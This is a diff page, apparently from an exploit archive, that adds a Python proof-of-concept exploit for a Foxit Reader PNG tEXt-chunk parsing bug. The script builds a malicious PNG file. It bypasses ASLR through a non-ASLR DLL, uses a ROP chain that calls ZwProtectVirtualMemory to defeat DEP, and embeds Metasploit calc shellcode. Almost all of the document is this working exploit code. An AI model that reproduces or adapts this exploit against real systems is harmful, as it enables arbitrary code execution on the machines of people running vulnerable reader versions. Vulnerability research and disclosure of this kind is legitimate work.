indirect, or consequential loss or damage arising from use of, or
|
||||
reliance on, this information.
|
130
platforms/windows/local/37699.py
Executable file
130
platforms/windows/local/37699.py
Executable file
|
@ -0,0 +1,130 @@
|
|||
# Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution
|
||||
# Date: 07/07/2015
|
||||
# Exploit Author: Sascha Schirra
|
||||
# Vendor Homepage: https://www.foxitsoftware.com
|
||||
# Software Link: https://www.foxitsoftware.com/downloads/
|
||||
# Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8
|
||||
# Tested on: Windows 7 SP1
|
||||
# Vendor informed and bug confirmed: July 08th, 2015
|
||||
|
||||
"""
|
||||
This is a PoC (ASLR/DEP bypass)
|
||||
For ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR
|
||||
For DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall.
|
||||
This script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks.
|
||||
The first of them triggers the vulnerability and the second one contains a ropchain and shellcode.
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import struct
|
||||
import re
|
||||
import sys
|
||||
|
||||
p = lambda x:struct.pack('I', x)
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print('usage: %s <pngfile>' % sys.argv[0])
|
||||
exit()
|
||||
|
||||
print('Open file: %s' % sys.argv[1])
|
||||
with open(sys.argv[1],'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
m = re.search('tEXt', data)
|
||||
if not m:
|
||||
print('No tEXt chunk')
|
||||
exit()
|
||||
print('tEXt chunk found')
|
||||
start = data[:m.start()-4]
|
||||
length = struct.unpack('>I', data[m.start()-4:m.start()])[0]
|
||||
end = data[m.end()+length + 4:]
|
||||
|
||||
vulnChunk = 'tEXt\0' # vulnerable because of the missing keyword
|
||||
vulnChunk += 'A'*8
|
||||
vulnChunk += p(0x10041a14) # xchg eax, ecx; ret;
|
||||
vulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret;
|
||||
vulnChunk += 'AAAA'
|
||||
vulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret;
|
||||
vulnChunk += 'A'*16
|
||||
vulnChunk += '\x0a\xd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here.
|
||||
|
||||
|
||||
vulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer.
|
||||
vulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk))
|
||||
|
||||
secondChunk = 'AAA\0'*(580)
|
||||
secondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14]
|
||||
secondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret;
|
||||
secondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret;
|
||||
secondChunk += 'AAAA'*2
|
||||
secondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8];
|
||||
|
||||
|
||||
# calc shellcode - metasploit
|
||||
buf = "\x83\xc4\xce"
|
||||
buf += "\xda\xc8\xbb\x15\xee\x3a\x64\xd9\x74\x24\xf4\x5d\x33"
|
||||
buf += "\xc9\xb1\x30\x31\x5d\x18\x83\xed\xfc\x03\x5d\x01\x0c"
|
||||
buf += "\xcf\x98\xc1\x52\x30\x61\x11\x33\xb8\x84\x20\x73\xde"
|
||||
buf += "\xcd\x12\x43\x94\x80\x9e\x28\xf8\x30\x15\x5c\xd5\x37"
|
||||
buf += "\x9e\xeb\x03\x79\x1f\x47\x77\x18\xa3\x9a\xa4\xfa\x9a"
|
||||
buf += "\x54\xb9\xfb\xdb\x89\x30\xa9\xb4\xc6\xe7\x5e\xb1\x93"
|
||||
buf += "\x3b\xd4\x89\x32\x3c\x09\x59\x34\x6d\x9c\xd2\x6f\xad"
|
||||
buf += "\x1e\x37\x04\xe4\x38\x54\x21\xbe\xb3\xae\xdd\x41\x12"
|
||||
buf += "\xff\x1e\xed\x5b\x30\xed\xef\x9c\xf6\x0e\x9a\xd4\x05"
|
||||
buf += "\xb2\x9d\x22\x74\x68\x2b\xb1\xde\xfb\x8b\x1d\xdf\x28"
|
||||
buf += "\x4d\xd5\xd3\x85\x19\xb1\xf7\x18\xcd\xc9\x03\x90\xf0"
|
||||
buf += "\x1d\x82\xe2\xd6\xb9\xcf\xb1\x77\x9b\xb5\x14\x87\xfb"
|
||||
buf += "\x16\xc8\x2d\x77\xba\x1d\x5c\xda\xd0\xe0\xd2\x60\x96"
|
||||
buf += "\xe3\xec\x6a\x86\x8b\xdd\xe1\x49\xcb\xe1\x23\x2e\x23"
|
||||
buf += "\xa8\x6e\x06\xac\x75\xfb\x1b\xb1\x85\xd1\x5f\xcc\x05"
|
||||
buf += "\xd0\x1f\x2b\x15\x91\x1a\x77\x91\x49\x56\xe8\x74\x6e"
|
||||
buf += "\xc5\x09\x5d\x0d\x88\x99\x3d\xd2"
|
||||
|
||||
|
||||
shellcode=buf
|
||||
rop = ''
|
||||
# Write Size to data section
|
||||
rop += p(0x1002d346) #pop eax; ret
|
||||
rop += p(0x100aa004) # data section
|
||||
rop += p(0x100012ca) #pop ecx; ret
|
||||
rop += p(0x1000)
|
||||
|
||||
# Write baseaddr (esp) to data section
|
||||
rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;
|
||||
rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;
|
||||
rop += p(0x1002d346) #pop eax; ret
|
||||
rop += p(0x100aa008) # data section
|
||||
rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;
|
||||
rop += p(0xdeadc0de)
|
||||
|
||||
# dereference syscall and call it
|
||||
rop += p(0x1002d346) #pop eax; ret
|
||||
rop += p(0x7ffe0300) # fastsyscall
|
||||
rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;
|
||||
rop += p(0x1002d346) #pop eax; ret
|
||||
rop += p(0xd7) #syscall
|
||||
rop += p(0x10081541) #push ecx;cld; ret
|
||||
|
||||
rop += p(0x100801f5) # 6xpop; ret
|
||||
rop += p(0xdeadc0de)
|
||||
rop += p(0xffffffff)
|
||||
rop += p(0x100aa008) # datasection Pointer to baseaddress
|
||||
rop += p(0x100aa004) # datasection Pointer to size
|
||||
rop += p(0x40)
|
||||
rop += p(0x100aa00c)
|
||||
rop += p(0x1006c63b) # push esp, ret
|
||||
|
||||
rop += shellcode
|
||||
|
||||
secondChunk +=rop
|
||||
secondChunk += 'A'*4000
|
||||
secondChunk = secondChunk[:4000]
|
||||
|
||||
secondChunkLen = struct.pack('>i', len(secondChunk)+1)
|
||||
secondChunk = 'tEXt'+'\0'+secondChunk
|
||||
secondChunkCRC32 = struct.pack('>i',binascii.crc32(secondChunk))
|
||||
|
||||
with open('exploit_'+sys.argv[1],'wb') as f:
|
||||
f.write(start+(secondChunkLen + secondChunk + secondChunkCRC32) +vulnlen + vulnChunk + vulnChunkCRC32+ end)
|
||||
|
||||
print('Exploit file created: %s' % ('exploit_'+sys.argv[1]))
|
Loading…
Add table
Reference in a new issue